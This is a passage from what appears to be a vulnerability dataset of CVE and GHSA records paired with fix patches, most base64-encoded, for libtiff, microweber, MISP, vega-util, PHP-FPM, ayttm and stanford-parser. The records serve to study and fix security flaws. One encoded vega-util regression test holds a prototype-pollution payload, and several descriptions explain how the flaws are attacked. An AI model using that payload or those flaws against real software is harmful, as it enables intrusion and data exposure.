                 TIFFError("processCropSelections",
                           "Failed to rotate composite regions by %" PRIu32
@@ -8759,9 +8760,10 @@ static int processCropSelections(struct image_data *image,
                  * its size individually. Therefore, seg_buffs size  needs to be
                  * updated accordingly. */
                 size_t rot_buf_size = 0;
-                if (rotateImage(
-                        crop->rotation, image, &crop->regionlist[i].width,
-                        &crop->regionlist[i].length, &crop_buff, &rot_buf_size))
+                if (rotateImage(crop->rotation, image,
+                                &crop->regionlist[i].width,
+                                &crop->regionlist[i].length, &crop_buff,
+                                &rot_buf_size, FALSE))
                 {
                     TIFFError("processCropSelections",
                               "Failed to rotate crop region by %" PRIu16
@@ -8905,7 +8907,7 @@ static int createCroppedImage(struct image_data *image, struct crop_mask *crop,
         CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */
     {
         if (rotateImage(crop->rotation, image, &crop->combined_width,
-                        &crop->combined_length, crop_buff_ptr, NULL))
+                        &crop->combined_length, crop_buff_ptr, NULL, TRUE))
         {
             TIFFError("createCroppedImage",
                       "Failed to rotate image or cropped selection by %" PRIu16
@@ -9621,7 +9623,8 @@ static int rotateContigSamples32bits(uint16_t rotation, uint16_t spp,
 /* Rotate an image by a multiple of 90 degrees clockwise */
 static int rotateImage(uint16_t rotation, struct image_data *image,
                        uint32_t *img_width, uint32_t *img_length,
-                       unsigned char **ibuff_ptr, size_t *rot_buf_size)
+                       unsigned char **ibuff_ptr, size_t *rot_buf_size,
+                       int rot_image_params)
 {
     int shift_width;
     uint32_t bytes_per_pixel, bytes_per_sample;
@@ -9869,11 +9872,15 @@ static int rotateImage(uint16_t rotation, struct image_data *image,
 
             *img_width = length;
             *img_length = width;
-            image->width = length;
-            image->length = width;
-            res_temp = image->xres;
-            image->xres = image->yres;
-            image->yres = res_temp;
+            /* Only toggle image parameters if whole input image is rotated. */
+            if (rot_image_params)
+            {
+                image->width = length;
+                image->length = width;
+                res_temp = image->xres;
+                image->xres = image->yres;
+                image->yres = res_temp;
+            }
             break;
 
         case 270:
@@ -9956,11 +9963,15 @@ static int rotateImage(uint16_t rotation, struct image_data *image,
 
             *img_width = length;
             *img_length = width;
-            image->width = length;
-            image->length = width;
-            res_temp = image->xres;
-            image->xres = image->yres;
-            image->yres = res_temp;
+            /* Only toggle image parameters if whole input image is rotated. */
+            if (rot_image_params)
+            {
+                image->width = length;
+                image->length = width;
+                res_temp = image->xres;
+                image->xres = image->yres;
+                image->yres = res_temp;
+            }
             break;
         default:
             break;
-- 
GitLab", "url": "https://gitlab.com/libtiff/libtiff/-/commit/afaabc3e50d4e5d80a94143f7e3c997e7e410f68" } ]
null
GHSA-5pg2-qg87-vmj7
Cross-site Scripting in microweber
null
[ { "commit_message": "[PATCH] update src/MicroweberPackages/App/functions/plupload.php | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA5ZWJiYjRkZDM1ZGE3NDAyNWFiNjk2NWY3MjI4MjlhN2Y4Zjg2NTY2IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBQZXRlciBJdmFub3YgPHBldGVyQG1pY3Jvd2ViZXIuY29tPgpEYXRlOiBGcmksIDEgSnVsIDIwMjIgMTE6MDc6NDcgKzAzMDAKU3ViamVjdDogW1BBVENIXSB1cGRhdGUKCi0tLQogc3JjL01pY3Jvd2ViZXJQYWNrYWdlcy9BcHAvZnVuY3Rpb25zL3BsdXBsb2FkLnBocCB8IDUgKysrKy0KIDEgZmlsZSBjaGFuZ2VkLCA0IGluc2VydGlvbnMoKyksIDEgZGVsZXRpb24oLSkKCmRpZmYgLS1naXQgYS9zcmMvTWljcm93ZWJlclBhY2thZ2VzL0FwcC9mdW5jdGlvbnMvcGx1cGxvYWQucGhwIGIvc3JjL01pY3Jvd2ViZXJQYWNrYWdlcy9BcHAvZnVuY3Rpb25zL3BsdXBsb2FkLnBocAppbmRleCAzYjZlMzE3MDdjYi4uMjQ0OTgwOTY4Y2UgMTAwNjQ0Ci0tLSBhL3NyYy9NaWNyb3dlYmVyUGFja2FnZXMvQXBwL2Z1bmN0aW9ucy9wbHVwbG9hZC5waHAKKysrIGIvc3JjL01pY3Jvd2ViZXJQYWNrYWdlcy9BcHAvZnVuY3Rpb25zL3BsdXBsb2FkLnBocApAQCAtMzM2LDkgKzMzNiwxMiBAQAogLy8gTWFrZSBzdXJlIHRoZSBmaWxlTmFtZSBpcyB1bmlxdWUgYnV0IG9ubHkgaWYgY2h1bmtpbmcgaXMgZGlzYWJsZWQKIGlmICgkY2h1bmtzIDwgMiAmJiBmaWxlX2V4aXN0cygkdGFyZ2V0RGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZSkpIHsKICAgICAkZXh0ID0gc3RycnBvcygkZmlsZU5hbWUsICcuJyk7CisKICAgICAkZmlsZU5hbWVfYSA9IHN1YnN0cigkZmlsZU5hbWUsIDAsICRleHQpOwogICAgICRmaWxlTmFtZV9iID0gc3Vic3RyKCRmaWxlTmFtZSwgJGV4dCk7CiAKKyAgICAkZmlsZU5hbWVfYiA9IHN0cnRvbG93ZXIoJGZpbGVOYW1lX2IpOworCiAgICAgJGNvdW50ID0gMTsKICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJHRhcmdldERpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZU5hbWVfYSAuICdfJyAuICRjb3VudCAuICRmaWxlTmFtZV9iKSkgewogICAgICAgICArKyRjb3VudDsKQEAgLTUwMCw3ICs1MDMsNyBAQAogCiAgICAgaWYgKGlzX2ZpbGUoJGZpbGVQYXRoKSBhbmQgISRjaHVua3MgfHwgJGNodW5rID09ICRjaHVua3MgLSAxKSB7CiAgICAgICAgICRleHQgPSBnZXRfZmlsZV9leHRlbnNpb24oJGZpbGVQYXRoKTsKLQorICAgICAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZmluZm9fb3BlbicpIGFuZCBmdW5jdGlvbl9leGlzdHMoJ2ZpbmZvX2ZpbGUnKSkgewogICAgICAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOyAvLyByZXR1cm4gbWltZSB0eXBlIGFsYSBtaW1ldHlwZSBleHRlbnNpb24KICAgICAgICAgICAgICRtaW1lID0gQGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZVBhdGgpOw==", "url": "https://github.com/microweber/microweber/commit/9ebbb4dd35da74025ab6965f722829a7f8f86566.patch" } ]
null
CVE-2017-14337
When MISP before 2.4.80 is configured with X.509 certificate authentication (CertAuth) in conjunction with a non-MISP external user management ReST API, if an external user provides X.509 certificate authentication and this API returns an empty value, the unauthenticated user can be granted access as an arbitrary user.
[ { "commit_message": "[PATCH] fix: Fix to certauth pains .../Component/Auth/CertificateAuthenticate.php | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-)", "patch_text_b64": "RnJvbSBiZTExMWE0NzAyMDRhOTc0YzUwNjgyMDU0YzljN2Q0Yjk0Mzk2ZWQ5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBpZ2xvY3NrYSA8YW5kcmFzLmlrbG9keUBnbWFpbC5jb20+CkRhdGU6IEZyaSwgOCBTZXAgMjAxNyAxNDoyNTozNiArMDIwMApTdWJqZWN0OiBbUEFUQ0hdIGZpeDogRml4IHRvIGNlcnRhdXRoIHBhaW5zCgotLS0KIC4uLi9Db21wb25lbnQvQXV0aC9DZXJ0aWZpY2F0ZUF1dGhlbnRpY2F0ZS5waHAgICAgICAgfCAxMiArKysrKysrLS0tLS0KIDEgZmlsZSBjaGFuZ2VkLCA3IGluc2VydGlvbnMoKyksIDUgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvYXBwL1BsdWdpbi9DZXJ0QXV0aC9Db250cm9sbGVyL0NvbXBvbmVudC9BdXRoL0NlcnRpZmljYXRlQXV0aGVudGljYXRlLnBocCBiL2FwcC9QbHVnaW4vQ2VydEF1dGgvQ29udHJvbGxlci9Db21wb25lbnQvQXV0aC9DZXJ0aWZpY2F0ZUF1dGhlbnRpY2F0ZS5waHAKaW5kZXggY2UzZDE4ZGI0MDcuLjFhZDVjNDgxZmY5IDEwMDY0NAotLS0gYS9hcHAvUGx1Z2luL0NlcnRBdXRoL0NvbnRyb2xsZXIvQ29tcG9uZW50L0F1dGgvQ2VydGlmaWNhdGVBdXRoZW50aWNhdGUucGhwCisrKyBiL2FwcC9QbHVnaW4vQ2VydEF1dGgvQ29udHJvbGxlci9Db21wb25lbnQvQXV0aC9DZXJ0aWZpY2F0ZUF1dGhlbnRpY2F0ZS5waHAKQEAgLTEzMywxNyArMTMzLDE5IEBAIHB1YmxpYyBmdW5jdGlvbiBnZXRVc2VyKENha2VSZXF1ZXN0ICRyZXF1ZXN0KQogCQkJCS8vIElmICRzeW5jIGlzIHRydWUsIGFsbG93IHRoZSBjcmVhdGlvbiBvZiB0aGUgdXNlciBmcm9tIHRoZSBjZXJ0aWZpY2F0ZQogCQkJCSRzeW5jID0gQ29uZmlndXJlOjpyZWFkKCdDZXJ0QXV0aC5zeW5jVXNlcicpOwogCQkJCWlmICgkc3luYykgewotCQkJCQlzZWxmOjpnZXRSZXN0VXNlcigpOworCQkJCQlpZiAoIXNlbGY6OmdldFJlc3RVc2VyKCkpIHJldHVybiBmYWxzZTsKIAkJCQl9CiAKIAkJCQkvLyBmaW5kIGFuZCBmaWxsIHVzZXIgd2l0aCBtb2RlbAogCQkJCSR1c2VyTW9kZWxLZXkgPSBlbXB0eShDb25maWd1cmU6OnJlYWQoJ0NlcnRBdXRoLnVzZXJNb2RlbEtleScpKSA/ICdlbWFpbCcgOiBDb25maWd1cmU6OnJlYWQoJ0NlcnRBdXRoLnVzZXJNb2RlbEtleScpOwogCQkJCSR1c2VyRGVmYXVsdHMgPSBDb25maWd1cmU6OnJlYWQoJ0NlcnRBdXRoLnVzZXJEZWZhdWx0cycpOwogCQkJCSR0aGlzLT5Vc2VyID0gQ2xhc3NSZWdpc3RyeTo6aW5pdCgnVXNlcicpOwotCQkJCSRleGlzdGluZ1VzZXIgPSAkdGhpcy0+VXNlci0+ZmluZCgnZmlyc3QnLCBhcnJheSgKLQkJCQkJJ2NvbmRpdGlvbnMnID0+IGFycmF5KCR1c2VyTW9kZWxLZXkgPT4gc2VsZjo6JHVzZXJbJHVzZXJNb2RlbEtleV0pLAotCQkJCQkncmVjdXJzaXZlJyA9PiBmYWxzZQotCQkJCSkpOworCQkJCWlmICghZW1wdHkoc2VsZjo6JHVzZXJbJHVzZXJNb2RlbEtleV0pKSB7CisJCQkJCSRleGlzdGluZ1VzZXIgPSAkdGhpcy0+VXNlci0+ZmluZCgnZmlyc3QnLCBhcnJheSgKKwkJCQkJCSdjb25kaXRpb25zJyA9PiBhcnJheSgkdXNlck1vZGVsS2V5ID0+IHNlbGY6OiR1c2VyWyR1c2VyTW9kZWxLZXldKSwKKwkJCQkJCSdyZWN1cnNpdmUnID0+IGZhbHNlCisJCQkJCSkpOworCQkJCX0KIAkJCQlpZiAoJGV4aXN0aW5nVXNlcikgewogCQkJCQlpZiAoJHN5bmMpIHsKIAkJCQkJCWlmICghaXNzZXQoc2VsZjo6JHVzZXJbJ29yZ19pZCddKSAmJiBpc3NldChzZWxmOjokdXNlclsnb3JnJ10pKSB7", "url": "https://github.com/MISP/MISP/commit/be111a470204a974c50682054c9c7d4b94396ed9.patch" } ]
n/a
GHSA-6hwh-rqwf-cxxr
Improperly Controlled Modification of Dynamically-Determined Object Attributes in vega-util
null
[ { "commit_message": "[PATCH] Fix prototype pollution in mergeConfig. packages/vega-util/src/mergeConfig.js | 8 ++++++-- packages/vega-util/test/mergeConfig-test.js | 12 ++++++++++++ 2 files changed, 18 insertions(+), 2 deletions(-)", "patch_text_b64": "RnJvbSA4ZjMzYTBiNTE3MGQ3ZGU0ZjEyZmMyNDhlYzA5MDEyMzQzNDIzNjdiIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKZWZmcmV5IEhlZXIgPGpoZWVyQHRyaWZhY3RhLmNvbT4KRGF0ZTogVGh1LCA1IE1hciAyMDIwIDEzOjI3OjU3ICswMTAwClN1YmplY3Q6IFtQQVRDSF0gRml4IHByb3RvdHlwZSBwb2xsdXRpb24gaW4gbWVyZ2VDb25maWcuCgotLS0KIHBhY2thZ2VzL3ZlZ2EtdXRpbC9zcmMvbWVyZ2VDb25maWcuanMgICAgICAgfCAgOCArKysrKystLQogcGFja2FnZXMvdmVnYS11dGlsL3Rlc3QvbWVyZ2VDb25maWctdGVzdC5qcyB8IDEyICsrKysrKysrKysrKwogMiBmaWxlcyBjaGFuZ2VkLCAxOCBpbnNlcnRpb25zKCspLCAyIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL3BhY2thZ2VzL3ZlZ2EtdXRpbC9zcmMvbWVyZ2VDb25maWcuanMgYi9wYWNrYWdlcy92ZWdhLXV0aWwvc3JjL21lcmdlQ29uZmlnLmpzCmluZGV4IDM1YmEyZjVkODAuLjc2YmQxMzIyMGYgMTAwNjQ0Ci0tLSBhL3BhY2thZ2VzL3ZlZ2EtdXRpbC9zcmMvbWVyZ2VDb25maWcuanMKKysrIGIvcGFja2FnZXMvdmVnYS11dGlsL3NyYy9tZXJnZUNvbmZpZy5qcwpAQCAtMSw2ICsxLDggQEAKIGltcG9ydCBpc0FycmF5IGZyb20gJy4vaXNBcnJheSc7CiBpbXBvcnQgaXNPYmplY3QgZnJvbSAnLi9pc09iamVjdCc7CiAKK2NvbnN0IGlzTGVnYWxLZXkgPSBrZXkgPT4ga2V5ICE9PSAnX19wcm90b19fJzsKKwogZXhwb3J0IGZ1bmN0aW9uIG1lcmdlQ29uZmlnKC4uLmNvbmZpZ3MpIHsKICAgcmV0dXJuIGNvbmZpZ3MucmVkdWNlKChvdXQsIHNvdXJjZSkgPT4gewogICAgIGZvciAodmFyIGtleSBpbiBzb3VyY2UpIHsKQEAgLTE0LDcgKzE2LDcgQEAgZXhwb3J0IGZ1bmN0aW9uIG1lcmdlQ29uZmlnKC4uLmNvbmZpZ3MpIHsKICAgICAgICAgLy8gZm9yIGxlZ2VuZCBibG9jaywgcmVjdXJzZSBmb3IgdGhlIGxheW91dCBlbnRyeSBvbmx5CiAgICAgICAgIC8vIGZvciBzdHlsZSBibG9jaywgcmVjdXJzZSBmb3IgYWxsIHByb3BlcnRpZXMKICAgICAgICAgLy8gb3RoZXJ3aXNlLCBubyByZWN1cnNpb246IG9iamVjdHMgb3ZlcndyaXRlLCBubyBtZXJnaW5nCi0gICAgICAgIHZhciByID0ga2V5ID09PSAnbGVnZW5kJyA/IHsnbGF5b3V0JzogMX0KKyAgICAgICAgdmFyIHIgPSBrZXkgPT09ICdsZWdlbmQnID8ge2xheW91dDogMX0KICAgICAgICAgICA6IGtleSA9PT0gJ3N0eWxlJyA/IHRydWUKICAgICAgICAgICA6IG51bGw7CiAgICAgICAgIHdyaXRlQ29uZmlnKG91dCwga2V5LCBzb3VyY2Vba2V5XSwgcik7CkBAIC0yNSwxMyArMjcsMTUgQEAgZXhwb3J0IGZ1bmN0aW9uIG1lcmdlQ29uZmlnKC4uLmNvbmZpZ3MpIHsKIH0KIAogZXhwb3J0IGZ1bmN0aW9uIHdyaXRlQ29uZmlnKG91dHB1dCwga2V5LCB2YWx1ZSwgcmVjdXJzZSkgeworICBpZiAoIWlzTGVnYWxLZXkoa2V5KSkgcmV0dXJuOworCiAgIHZhciBrLCBvOwogICBpZiAoaXNPYmplY3QodmFsdWUpICYmICFpc0FycmF5KHZhbHVlKSkgewogICAgIG8gPSBpc09iamVjdChvdXRwdXRba2V5XSkgPyBvdXRwdXRba2V5XSA6IChvdXRwdXRba2V5XSA9IHt9KTsKICAgICBmb3IgKGsgaW4gdmFsdWUpIHsKICAgICAgIGlmIChyZWN1cnNlICYmIChyZWN1cnNlID09PSB0cnVlIHx8IHJlY3Vyc2Vba10pKSB7CiAgICAgICAgIHdyaXRlQ29uZmlnKG8sIGssIHZhbHVlW2tdKTsKLSAgICAgIH0gZWxzZSB7CisgICAgICB9IGVsc2UgaWYgKGlzTGVnYWxLZXkoaykpIHsKICAgICAgICAgb1trXSA9IHZhbHVlW2tdOwogICAgICAgfQogICAgIH0KZGlmZiAtLWdpdCBhL3BhY2thZ2VzL3ZlZ2EtdXRpbC90ZXN0L21lcmdlQ29uZmlnLXRlc3QuanMgYi9wYWNrYWdlcy92ZWdhLXV0aWwvdGVzdC9tZXJnZUNvbmZpZy10ZXN0LmpzCmluZGV4IGM0MWVjYTAwMWQuLmM4NjVmYTkyMjMgMTAwNjQ0Ci0tLSBhL3BhY2thZ2VzL3ZlZ2EtdXRpbC90ZXN0L21lcmdlQ29uZmlnLXRlc3QuanMKKysrIGIvcGFja2FnZXMvdmVnYS11dGlsL3Rlc3QvbWVyZ2VDb25maWctdGVzdC5qcwpAQCAtNzgsMyArNzgsMTUgQEAgdGFwZSgnbWVyZ2VDb25maWcgaGFuZGxlcyBlbXB0eSBhcmd1bWVudHMnLCBmdW5jdGlvbih0KSB7CiAgIHQuZGVlcEVxdWFsKHZlZ2EubWVyZ2VDb25maWcobnVsbCwgdW5kZWZpbmVkLCBjKSwgYyk7CiAgIHQuZW5kKCk7CiB9KTsKKwordGFwZSgnbWVyZ2VDb25maWcgbXVzdCBub3QgYWxsb3cgcHJvdG90eXBlIHBvbGx1dGlvbicsIGZ1bmN0aW9uKHQpIHsKKyAgY29uc3QgY29uZmlnID0ge3N5bWJvbDoge3NoYXBlOiAndHJpYW5nbGUtcmlnaHQnfX0sCisgICAgICAgIHBheWxvYWQgPSBKU09OLnBhcnNlKCd7Il9fcHJvdG9fXyI6IHsidnVsbmVyYWJsZSI6ICJQb2xsdXRlZCJ9fScpLAorICAgICAgICBtZXJnZWQgPSB2ZWdhLm1lcmdlQ29uZmlnKGNvbmZpZywgcGF5bG9hZCwge3N5bWJvbDogcGF5bG9hZH0pOworCisgIHQuZXF1YWwobWVyZ2VkLl9fcHJvdG9fXy52dWxuZXJhYmxlLCB1bmRlZmluZWQpOworICB0LmVxdWFsKG1lcmdlZC5zeW1ib2wuX19wcm90b19fLnZ1bG5lcmFibGUsIHVuZGVmaW5lZCk7CisgIHQuZXF1YWwoT2JqZWN0LnByb3RvdHlwZS52dWxuZXJhYmxlLCB1bmRlZmluZWQpOworCisgIHQuZW5kKCk7Cit9KTsKXCBObyBuZXdsaW5lIGF0IGVuZCBvZiBmaWxl", "url": "https://github.com/vega/vega/commit/8f33a0b5170d7de4f12fc248ec0901234342367b.patch" } ]
null
CVE-2016-5114
sapi/fpm/fpm/fpm_log.c in PHP before 5.5.31, 5.6.x before 5.6.17, and 7.x before 7.0.2 misinterprets the semantics of the snprintf return value, which allows attackers to obtain sensitive information from process memory or cause a denial of service (out-of-bounds read and buffer overflow) via a long string, as demonstrated by a long URI in a configuration with custom REQUEST_URI logging.
[ { "commit_message": "[PATCH] Fixed bug #70755: fpm_log.c memory leak and buffer overflow sapi/fpm/fpm/fpm_log.c | 5 +++++ 1 file changed, 5 insertions(+)", "patch_text_b64": "RnJvbSAyNzIxYTAxNDg2NDllMDdlZDc0NDY4ZjA5N2EyODg5OTc0MWViNThmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBTdGFuaXNsYXYgTWFseXNoZXYgPHN0YXNAcGhwLm5ldD4KRGF0ZTogVHVlLCA4IERlYyAyMDE1IDAwOjEwOjA3IC0wODAwClN1YmplY3Q6IFtQQVRDSF0gRml4ZWQgYnVnICM3MDc1NTogZnBtX2xvZy5jIG1lbW9yeSBsZWFrIGFuZCBidWZmZXIgb3ZlcmZsb3cKCi0tLQogc2FwaS9mcG0vZnBtL2ZwbV9sb2cuYyB8IDUgKysrKysKIDEgZmlsZSBjaGFuZ2VkLCA1IGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS9zYXBpL2ZwbS9mcG0vZnBtX2xvZy5jIGIvc2FwaS9mcG0vZnBtL2ZwbV9sb2cuYwppbmRleCA4NjMzMmM0YzgwM2JjLi41YWFkOWEwOGM5ZTE3IDEwMDY0NAotLS0gYS9zYXBpL2ZwbS9mcG0vZnBtX2xvZy5jCisrKyBiL3NhcGkvZnBtL2ZwbS9mcG1fbG9nLmMKQEAgLTQ0OCw2ICs0NDgsMTEgQEAgaW50IGZwbV9sb2dfd3JpdGUoY2hhciAqbG9nX2Zvcm1hdCkgLyoge3t7ICovCiAJCQkJYiArPSBsZW4yOwogCQkJCWxlbiArPSBsZW4yOwogCQkJfQorCQkJaWYgKGxlbiA+PSBGUE1fTE9HX0JVRkZFUikgeworCQkJCXpsb2coWkxPR19OT1RJQ0UsICJ0aGUgbG9nIGJ1ZmZlciBpcyBmdWxsICglZCkuIFRoZSBhY2Nlc3MgbG9nIHJlcXVlc3QgaGFzIGJlZW4gdHJ1bmNhdGVkLiIsIEZQTV9MT0dfQlVGRkVSKTsKKwkJCQlsZW4gPSBGUE1fTE9HX0JVRkZFUjsKKwkJCQlicmVhazsKKwkJCX0KIAkJCWNvbnRpbnVlOwogCQl9", "url": "http://github.com/php/php-src/commit/2721a0148649e07ed74468f097a28899741eb58f.patch" } ]
n/a
CVE-2015-10088
ayttm proxy.c http_connect format string
A vulnerability, which was classified as critical, was found in ayttm up to 0.5.0.89. This affects the function http_connect in the library libproxy/proxy.c. The manipulation leads to format string. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The patch is named 40e04680018614a7d2b68566b261b061a0597046. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-222267.
[ { "commit_message": "[PATCH] Fix format string vulnerability Reported by Kapil Anand on ayttm-users: https://sourceforge.net/p/ayttm/mailman/message/34397158/ This patch does the following two things: 1. Makes sure debug_print is only used in DEBUG mode and not in non-DEBUG mode 2. Since debug_print is basically printf, we don't really need to first snprintf into a buffer and then print the buffer. 3. We no longer need debug_buff libproxy/proxy.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-)", "patch_text_b64": "RnJvbSA0MGUwNDY4MDAxODYxNGE3ZDJiNjg1NjZiMjYxYjA2MWEwNTk3MDQ2IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBQaGlsaXAgVGVsbGlzIDxwaGlsaXBAbG9nbm9ybWFsLmNvbT4KRGF0ZTogTW9uLCAyNCBBdWcgMjAxNSAxMjo1Mzo0NiAtMDQwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCBmb3JtYXQgc3RyaW5nIHZ1bG5lcmFiaWxpdHkKClJlcG9ydGVkIGJ5IEthcGlsIEFuYW5kIG9uIGF5dHRtLXVzZXJzOgpodHRwczovL3NvdXJjZWZvcmdlLm5ldC9wL2F5dHRtL21haWxtYW4vbWVzc2FnZS8zNDM5NzE1OC8KClRoaXMgcGF0Y2ggZG9lcyB0aGUgZm9sbG93aW5nIHR3byB0aGluZ3M6CgoxLiBNYWtlcyBzdXJlIGRlYnVnX3ByaW50IGlzIG9ubHkgdXNlZCBpbiBERUJVRyBtb2RlIGFuZCBub3QgaW4gbm9uLURFQlVHIG1vZGUKMi4gU2luY2UgZGVidWdfcHJpbnQgaXMgYmFzaWNhbGx5IHByaW50Ziwgd2UgZG9uJ3QgcmVhbGx5IG5lZWQgdG8gZmlyc3QKICAgc25wcmludGYgaW50byBhIGJ1ZmZlciBhbmQgdGhlbiBwcmludCB0aGUgYnVmZmVyLgozLiBXZSBubyBsb25nZXIgbmVlZCBkZWJ1Z19idWZmCi0tLQogbGlicHJveHkvcHJveHkuYyB8IDE2ICsrKysrKy0tLS0tLS0tLS0KIDEgZmlsZSBjaGFuZ2VkLCA2IGluc2VydGlvbnMoKyksIDEwIGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2xpYnByb3h5L3Byb3h5LmMgYi9saWJwcm94eS9wcm94eS5jCmluZGV4IDhiMmJkNmEuLjkwMjk1NGUgMTAwNjQ0Ci0tLSBhL2xpYnByb3h5L3Byb3h5LmMKKysrIGIvbGlicHJveHkvcHJveHkuYwpAQCAtMjk0LDcgKzI5NCw2IEBAIGludCBodHRwX2Nvbm5lY3QoaW50IHNvY2tmZCwgY29uc3QgY2hhciAqaG9zdCwgaW50IHBvcnQsIEF5UHJveHlEYXRhICpwcm94eSkKIAljaGFyIGNtZFs1MTJdOwogCWNoYXIgKmlucHV0bGluZSA9IE5VTEw7CiAJY2hhciAqcHJveHlfYXV0aCA9IE5VTEw7Ci0JY2hhciBkZWJ1Z19idWZmWzUxMl07CiAJaW50IHJlbWFpbmluZyA9IHNpemVvZihjbWQpIC0gMTsKIAogCXJlbWFpbmluZyAtPSBzbnByaW50ZihjbWQsIHNpemVvZihjbWQpLCAiQ09OTkVDVCAlczolZCBIVFRQLzEuMVxyXG4iLCBob3N0LCBwb3J0KTsKQEAgLTMwOSwxNyArMzA4LDE1IEBAIGludCBodHRwX2Nvbm5lY3QoaW50IHNvY2tmZCwgY29uc3QgY2hhciAqaG9zdCwgaW50IHBvcnQsIEF5UHJveHlEYXRhICpwcm94eSkKIAkJcmVtYWluaW5nIC09IDI7CiAJfQogCXN0cm5jYXQoY21kLCAiXHJcbiIsIHJlbWFpbmluZyk7Ci0jaWZuZGVmIERFQlVHCi0Jc25wcmludGYoZGVidWdfYnVmZiwgc2l6ZW9mKGRlYnVnX2J1ZmYpLCAiPCVzPlxuIiwgY21kKTsKLQlkZWJ1Z19wcmludChkZWJ1Z19idWZmKTsKKyNpZmRlZiBERUJVRworCWRlYnVnX3ByaW50KCI8JXM+XG4iLCBjbWQpOwogI2VuZGlmCiAJaWYgKHNlbmQoc29ja2ZkLCBjbWQsIHN0cmxlbihjbWQpLCAwKSA8IDApCiAJCXJldHVybiBBWV9DT05ORUNUSU9OX1JFRlVTRUQ7CiAJaWYgKGF5X3JlY3ZfbGluZShzb2NrZmQsICZpbnB1dGxpbmUpIDwgMCkKIAkJcmV0dXJuIEFZX0NPTk5FQ1RJT05fUkVGVVNFRDsKLSNpZm5kZWYgREVCVUcKLQlzbnByaW50ZihkZWJ1Z19idWZmLCBzaXplb2YoZGVidWdfYnVmZiksICI8JXM+XG4iLCBpbnB1dGxpbmUpOwotCWRlYnVnX3ByaW50KGRlYnVnX2J1ZmYpOworI2lmZGVmIERFQlVHCisJZGVidWdfcHJpbnQoIjwlcz5cbiIsIGlucHV0bGluZSk7CiAjZW5kaWYKIAlpZiAoIXN0cnN0cihpbnB1dGxpbmUsICIyMDAiKSkgewogCQkvKiBDaGVjayBpZiBwcm94eSBhdXRob3JpemF0aW9uIG5lZWRlZCAqLwpAQCAtMzQ0LDkgKzM0MSw4IEBAIGludCBodHRwX2Nvbm5lY3QoaW50IHNvY2tmZCwgY29uc3QgY2hhciAqaG9zdCwgaW50IHBvcnQsIEF5UHJveHlEYXRhICpwcm94eSkKIAkJaWYgKGF5X3JlY3ZfbGluZShzb2NrZmQsICZpbnB1dGxpbmUpIDwgMCkgewogCQkJcmV0dXJuIEFZX0NPTk5FQ1RJT05fUkVGVVNFRDsKIAkJfQotI2lmbmRlZiBERUJVRwotCQlzbnByaW50ZihkZWJ1Z19idWZmLCBzaXplb2YoZGVidWdfYnVmZiksICI8JXM+XG4iLCBpbnB1dGxpbmUpOwotCQlkZWJ1Z19wcmludChkZWJ1Z19idWZmKTsKKyNpZmRlZiBERUJVRworCQlkZWJ1Z19wcmludCgiPCVzPlxuIiwgaW5wdXRsaW5lKTsKICNlbmRpZgogCX0KIAlmcmVlKGlucHV0bGluZSk7", "url": "https://github.com/ayttm/ayttm/commit/40e04680018614a7d2b68566b261b061a0597046.patch" } ]
CWE-134 Format String
GHSA-353m-jh2m-72v4
Code injection in stanford-parser
null
[ { "commit_message": "[PATCH] Remove the shell usage of bz2, which could be a security problem if someone else hijacks the system's bz2 installation. Addresses https://nvd.nist.gov/vuln/detail/CVE-2023-39020 .../nlp/ie/crf/CRFFeatureExporter.java | 3 +- .../nlp/io/BZip2PipedOutputStream.java | 68 ------------------- src/edu/stanford/nlp/io/IOUtils.java | 29 +------- 3 files changed, 3 insertions(+), 97 deletions(-) delete mode 100644 src/edu/stanford/nlp/io/BZip2PipedOutputStream.java", "patch_text_b64": "From 897231bed0efb24574c80c875c0b5f2225c145bc Mon Sep 17 00:00:00 2001
From: John Bauer <horatio@gmail.com>
Date: Tue, 29 Aug 2023 11:38:36 -0700
Subject: [PATCH] Remove the shell usage of bz2, which could be a security
 problem if someone else hijacks the system's bz2 installation.  Addresses
 https://nvd.nist.gov/vuln/detail/CVE-2023-39020

---
 .../nlp/ie/crf/CRFFeatureExporter.java        |  3 +-
 .../nlp/io/BZip2PipedOutputStream.java        | 68 -------------------
 src/edu/stanford/nlp/io/IOUtils.java          | 29 +-------
 3 files changed, 3 insertions(+), 97 deletions(-)
 delete mode 100644 src/edu/stanford/nlp/io/BZip2PipedOutputStream.java

diff --git a/src/edu/stanford/nlp/ie/crf/CRFFeatureExporter.java b/src/edu/stanford/nlp/ie/crf/CRFFeatureExporter.java
index 5a621e5fc2..f9834fc61b 100644
--- a/src/edu/stanford/nlp/ie/crf/CRFFeatureExporter.java
+++ b/src/edu/stanford/nlp/ie/crf/CRFFeatureExporter.java
@@ -18,8 +18,7 @@
 /**
  * Exports CRF features for use with other programs.
  * Usage: CRFFeatureExporter -prop crfClassifierPropFile -trainFile inputFile -exportFeatures outputFile
- * - Output file is automatically gzipped/b2zipped if ending in gz/bz2
- * - bzip2 requires that bzip2 is available via command line
